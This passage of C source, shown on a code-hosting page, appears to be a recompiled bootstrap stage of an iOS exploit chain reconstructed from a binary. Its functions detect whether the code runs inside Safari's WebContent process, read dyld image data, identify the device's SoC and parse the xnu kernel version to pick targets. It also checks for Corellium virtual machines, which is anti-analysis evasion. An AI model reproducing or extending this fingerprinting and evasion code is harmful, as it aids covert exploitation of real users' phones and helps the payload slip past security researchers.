||||
return 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
cpu_check:
|
||||
/* Original binary read from commpage via _get_cpu_capabilities GOT
|
||||
* offset chain. That layout doesn't exist in our recompile.
|
||||
* Use hw.cpufamily sysctl instead for SoC identification.
|
||||
* The VM-specific bit checks (commpage +0x10 bit 26, +0x26 == 0x80)
|
||||
* cannot be replicated via sysctl — Corellium detection above
|
||||
* already covers the main virtual environment case.
|
||||
*/
|
||||
{
|
||||
uint32_t soc = get_cpufamily();
|
||||
print_log("[bootstrap] check_virtual_env: cpufamily=0x%x", soc);
|
||||
|
||||
if (soc == 0) {
|
||||
/* Can't determine CPU family */
|
||||
*result = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* Real hardware detected — Corellium checks above didn't trigger */
|
||||
*result = 1;
|
||||
print_log("[bootstrap] check_virtual_env: result=%d", *result);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* ── check_device_a (0x7524) ────────────────────────────────────── */
|
||||
|
||||
int check_device_a(uint8_t *out)
|
||||
{
|
||||
if (!out)
|
||||
return -1;
|
||||
|
||||
*out = 0;
|
||||
uint32_t soc = get_cpufamily();
|
||||
if (!soc)
|
||||
return -2;
|
||||
|
||||
uint8_t device = 0;
|
||||
|
||||
if (soc <= (int32_t)SOC_TYPE_C) {
|
||||
if (soc == SOC_TYPE_A || soc == SOC_TYPE_B) {
|
||||
if (check_virtual_env(&device) != 0)
|
||||
return -3;
|
||||
}
|
||||
} else {
|
||||
if (soc == SOC_TYPE_D || soc == SOC_TYPE_E || soc == SOC_TYPE_F) {
|
||||
if (check_virtual_env(&device) != 0)
|
||||
return -3;
|
||||
}
|
||||
}
|
||||
|
||||
*out = device;
|
||||
print_log("[bootstrap] check_device_a: cpufamily=0x%x device=%d", soc, device);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── check_device_b (0x7638) ────────────────────────────────────── */
|
||||
|
||||
int check_device_b(uint8_t *out)
|
||||
{
|
||||
if (!out)
|
||||
return -1;
|
||||
|
||||
uint32_t soc = get_cpufamily();
|
||||
if (!soc)
|
||||
return -2;
|
||||
|
||||
if (soc == SOC_DEVICE_B_A || soc == SOC_DEVICE_B_B) {
|
||||
uint8_t device = 1;
|
||||
if (check_virtual_env(&device) != 0)
|
||||
return -3;
|
||||
*out = device;
|
||||
} else {
|
||||
*out = 0;
|
||||
}
|
||||
print_log("[bootstrap] check_device_b: cpufamily=0x%x out=%d", soc, *out);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ── init_system_info (0x7720) ──────────────────────────────────── */
|
||||
|
||||
uint32_t init_system_info(bootstrap_ctx_t *ctx)
|
||||
{
|
||||
print_log("[bootstrap] init_system_info: start");
|
||||
|
||||
mach_msg_type_number_t count = 5;
|
||||
struct {
|
||||
uint64_t all_images_addr;
|
||||
uint64_t all_images_size;
|
||||
} dyld_info;
|
||||
memset(&dyld_info, 0, sizeof(dyld_info));
|
||||
|
||||
kern_return_t kr = task_info(mach_task_self(), 17,
|
||||
(task_info_t)&dyld_info, &count);
|
||||
|
||||
uint64_t all_images = dyld_info.all_images_addr;
|
||||
if (kr != 0 || !all_images) {
|
||||
print_log("[bootstrap] init_system_info: task_info FAIL kr=%d", kr);
|
||||
return -1;
|
||||
}
|
||||
|
||||
uint64_t info_array = *(uint64_t *)((uint8_t *)all_images + 0x20);
|
||||
if (!info_array)
|
||||
return -1;
|
||||
|
||||
uint32_t soc_ver = *(uint32_t *)((uint8_t *)info_array + 0x4);
|
||||
uint32_t soc_sub = *(uint32_t *)((uint8_t *)info_array + 0x8) & 0xFFFFFF;
|
||||
ctx->soc_version = soc_ver;
|
||||
ctx->soc_subversion = soc_sub;
|
||||
print_log("[bootstrap] init_system_info: soc_ver=0x%x soc_sub=0x%x", soc_ver, soc_sub);
|
||||
|
||||
uint32_t n_images = *(uint32_t *)((uint8_t *)all_images + 0x4);
|
||||
if (!n_images)
|
||||
return -1;
|
||||
|
||||
uint8_t *image_list = *(uint8_t **)((uint8_t *)all_images + 0x8);
|
||||
if (!image_list)
|
||||
return -1;
|
||||
|
||||
char *path0 = *(char **)(image_list + 0x8);
|
||||
uint8_t is_wc = 0;
|
||||
if (strstr(path0, "WebContent")) {
|
||||
is_wc = 1;
|
||||
} else {
|
||||
uint8_t *last = image_list + (uint64_t)(n_images - 1) * 0x18;
|
||||
char *path_last = *(char **)(last + 0x8);
|
||||
is_wc = strstr(path_last, "WebContent") ? 1 : 0;
|
||||
}
|
||||
ctx->is_webcontent = is_wc;
|
||||
print_log("[bootstrap] init_system_info: is_webcontent=%d", is_wc);
|
||||
|
||||
/* Use sysctl for CPU identification instead of commpage reads */
|
||||
uint32_t cpufamily = get_cpufamily();
|
||||
if (!cpufamily) {
|
||||
print_log("[bootstrap] init_system_info: get_cpufamily FAIL");
|
||||
return -1;
|
||||
}
|
||||
ctx->cpu_type = cpufamily;
|
||||
|
||||
/* cpu_features: not used by bootstrap itself, set to 0.
|
||||
* Original binary read from commpage offset +0x38 which is
|
||||
* no longer accessible via our recompiled GOT layout. */
|
||||
ctx->cpu_features = 0;
|
||||
print_log("[bootstrap] init_system_info: cpu_type=0x%x (cpufamily)", ctx->cpu_type);
|
||||
|
||||
uint32_t os_ver;
|
||||
int ret = get_os_version(&os_ver);
|
||||
if (ret != 0) {
|
||||
print_log("[bootstrap] init_system_info: get_os_version FAIL ret=%d", ret);
|
||||
return ret;
|
||||
}
|
||||
|
||||
ctx->os_version = os_ver;
|
||||
|
||||
char kern_str_[0x200] = {0};
|
||||
char *kern_str = kern_str_;
|
||||
|
||||
if ((os_ver & 0xFE0000) > 0xD0000) {
|
||||
uint32_t name[2] = { CTL_KERN, KERN_VERSION };
|
||||
size_t len = 0x200;
|
||||
if (sysctl((int *)name, 2, kern_str, &len, NULL, 0) != 0) {
|
||||
print_log("[bootstrap] init_system_info: sysctl kern FAIL");
|
||||
return -2;
|
||||
}
|
||||
} else {
|
||||
if (host_kernel_version(mach_host_self(), kern_str) != 0)
|
||||
return -2;
|
||||
}
|
||||
|
||||
print_log("[bootstrap] init_system_info: kernel=%s", kern_str);
|
||||
|
||||
if (!strstr(kern_str, "RELEASE")) {
|
||||
print_log("[bootstrap] init_system_info: kernel is not RELEASE");
|
||||
return -3;
|
||||
}
|
||||
|
||||
if (!(kern_str = strstr(kern_str, "xnu-"))) {
|
||||
print_log("[bootstrap] init_system_info: kernel does not contain xnu-");
|
||||
return -4;
|
||||
}
|
||||
|
||||
uint32_t xnu_maj = 0, xnu_min = 0, xnu_rev = 0, xnu_bld = 0, xnu_sub = 0;
|
||||
if (sscanf(kern_str, "xnu-%d.%d.%d.%d.%d%*s",
|
||||
&xnu_maj, &xnu_min, &xnu_rev, &xnu_bld, &xnu_sub) <= 2) {
|
||||
print_log("[bootstrap] init_system_info: kernel version parsing failed");
|
||||
//return -5;
|
||||
}
|
||||
|
||||
ctx->kernel_version = (xnu_maj << 18) | (xnu_min << 9) | xnu_rev;
|
||||
|
||||
uint64_t xv = ((uint64_t)(xnu_maj & 0x7FFF) << 20) |
|
||||
((uint64_t)xnu_min << 10) |
|
||||
(uint64_t)(xnu_rev & 0x3FF);
|
||||
xv = (xv << 20) | ((uint64_t)(xnu_bld << 10) & 0xFFC00) |
|
||||
(uint64_t)(xnu_sub & 0x3FF);
|
||||
ctx->xnu_version = xv;
|
||||
|
||||
uint8_t dev_type;
|
||||
if (check_device_b(&dev_type) != 0) {
|
||||
print_log("[bootstrap] init_system_info: check_device_b FAIL");
|
||||
return ret;
|
||||
}
|
||||
ctx->flag_is_release = dev_type;
|
||||
|
||||
uint8_t dev_a;
|
||||
if (check_device_a(&dev_a) != 0) {
|
||||
print_log("[bootstrap] init_system_info: check_device_a FAIL");
|
||||
return ret;
|
||||
}
|
||||
|
||||
ctx->flag_device_type = dev_a;
|
||||
|
||||
uint8_t new_ios = 0;
|
||||
if (soc_ver == 0x01000C && soc_sub >= 2) {
|
||||
uint8_t major = (os_ver >> 16) & 0xFF;
|
||||
if (major > 12) {
|
||||
new_ios = 1;
|
||||
} else if (major == 12) {
|
||||
new_ios = ((os_ver & 0xFF00) != 0) ? 1 : 0;
|
||||
}
|
||||
}
|
||||
ctx->flag_new_ios = new_ios;
|
||||
|
||||
uint8_t a15_feat = 0;
|
||||
if (dev_a) {
|
||||
uint32_t ver = ctx->os_version;
|
||||
if ((ver >> 10) >= 0x3C1) {
|
||||
uint32_t cpu = ctx->cpu_type;
|
||||
if (cpu == SOC_TYPE_A || cpu == SOC_TYPE_B || cpu == SOC_TYPE_F) {
|
||||
a15_feat = 1;
|
||||
}
|
||||
}
|
||||
}
|
||||
ctx->flag_a15_features = a15_feat;
|
||||
|
||||
print_log("[bootstrap] init_system_info: OK os=0x%x new_ios=%d dev_a=%d a15=%d", os_ver, new_ios, dev_a, a15_feat);
|
||||
return 0;
|
||||
}
|
||||
Reference in New Issue
Block a user